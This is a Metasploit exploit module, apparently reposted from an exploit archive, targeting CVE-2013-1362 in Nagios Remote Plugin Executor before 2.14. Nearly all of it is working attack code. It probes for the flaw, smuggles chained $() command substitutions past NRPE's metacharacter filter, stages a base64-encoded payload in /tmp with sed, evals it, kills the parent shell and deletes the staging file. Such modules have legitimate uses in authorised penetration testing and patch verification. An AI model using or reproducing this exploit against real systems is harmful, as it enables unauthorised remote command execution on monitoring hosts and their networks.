Nagios Remote Plugin Executor – Arbitrary Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## # require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution', 'Description' => %q{ The Nagios Remote Plugin Executor (NRPE) is installed to allow a central Nagios server to actively poll information from the hosts it monitors. NRPE has a configuration option dont_blame_nrpe which enables command-line arguments to be provided remote plugins. When this option is enabled, even when NRPE makes an effort to sanitize arguments to prevent command execution, it is possible to execute arbitrary commands. }, 'Author' => [ 'Rudolph Pereir', # Vulnerability discovery 'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module ], 'References' => [ [ 'CVE', '2013-1362' ], [ 'OSVDB', '90582'], [ 'BID', '58142'], [ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability'] ], 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'perl python ruby bash telnet', # *_perl, *_python and *_ruby work if they are installed } }, 'Targets' => [ [ 'Nagios Remote Plugin Executor prior to 2.14', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 21 2013' )) register_options( [ Opt::RPORT(5666), OptEnum.new('NRPECMD', [ true, "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg", 'check_procs', ['check_procs', 'check_users', 'check_load', 'check_disk'] ]), # Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true]) ], self.class) end def send_message(message) packet = [ 2, # packet version 1, # packet type, 1 => query packet 0, # checksum, to be added later 0, # result code, discarded for query packet message, # the command and arguments 0 # padding ] packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum begin self.sock.put(packet.pack("nnNna1024n")) #send the packet res = self.sock.get_once # get the response rescue ::EOFError => eof res = "" end return res.unpack("nnNnA1024n")[4] unless res.nil? end def setup @ssl_socket = nil @force_ssl = false super end def exploit if check != Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections") end stage = "setsid nohup #{payload.encoded} & " stage = Rex::Text.encode_base64(stage) # NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :) command = datastore['NRPECMD'] command << "!" command << "$($(rm -f /tmp/$$)" # Delete the file if it exists # need a way to write to a file without using redirection (>) # cant count on perl being on all linux hosts, use GNU Sed # TODO: Probably a better way to do this, some hosts may not have a /tmp command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right? command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes command << "$(rm -f /tmp/$$))" # clean the file with the stage connect print_status("Sending request...") send_message(command) disconnect end def check print_status("Checking if remote NRPE supports command line arguments") begin # send query asking to run "fake_check" command with command substitution in arguments connect res = send_message("__fake_check!$()") # if nrpe is configured to support arguments and is not patched to add $() to # NASTY_META_CHARS then the service will return: # NRPE: Command '__fake_check' not defined if res =~ /not defined/ return Exploit::CheckCode::Vulnerable end # Otherwise the service will close the connection if it is configured to disable arguments rescue EOFError => eof return Exploit::CheckCode::Safe rescue Errno::ECONNRESET => reset unless datastore['NRPESSL'] or @force_ssl print_status("Retrying with ADH SSL") @force_ssl = true retry end return Exploit::CheckCode::Safe rescue => e return Exploit::CheckCode::Unknown end # TODO: patched version appears to go here return Exploit::CheckCode::Unknown end # NRPE uses unauthenticated Annonymous-Diffie-Hellman # setting the global SSL => true will break as we would be overlaying # an SSLSocket on another SSLSocket which hasnt completed its handshake def connect(global = true, opts={}) self.sock = super(global, opts) if datastore['NRPESSL'] or @force_ssl ctx = OpenSSL::SSL::SSLContext.new("TLSv1") ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE ctx.ciphers = "ADH" @ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx) @ssl_socket.connect self.sock.extend(Rex::Socket::SslTcp) self.sock.sslsock = @ssl_socket self.sock.sslctx = ctx end return self.sock end def disconnect @ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl super end end |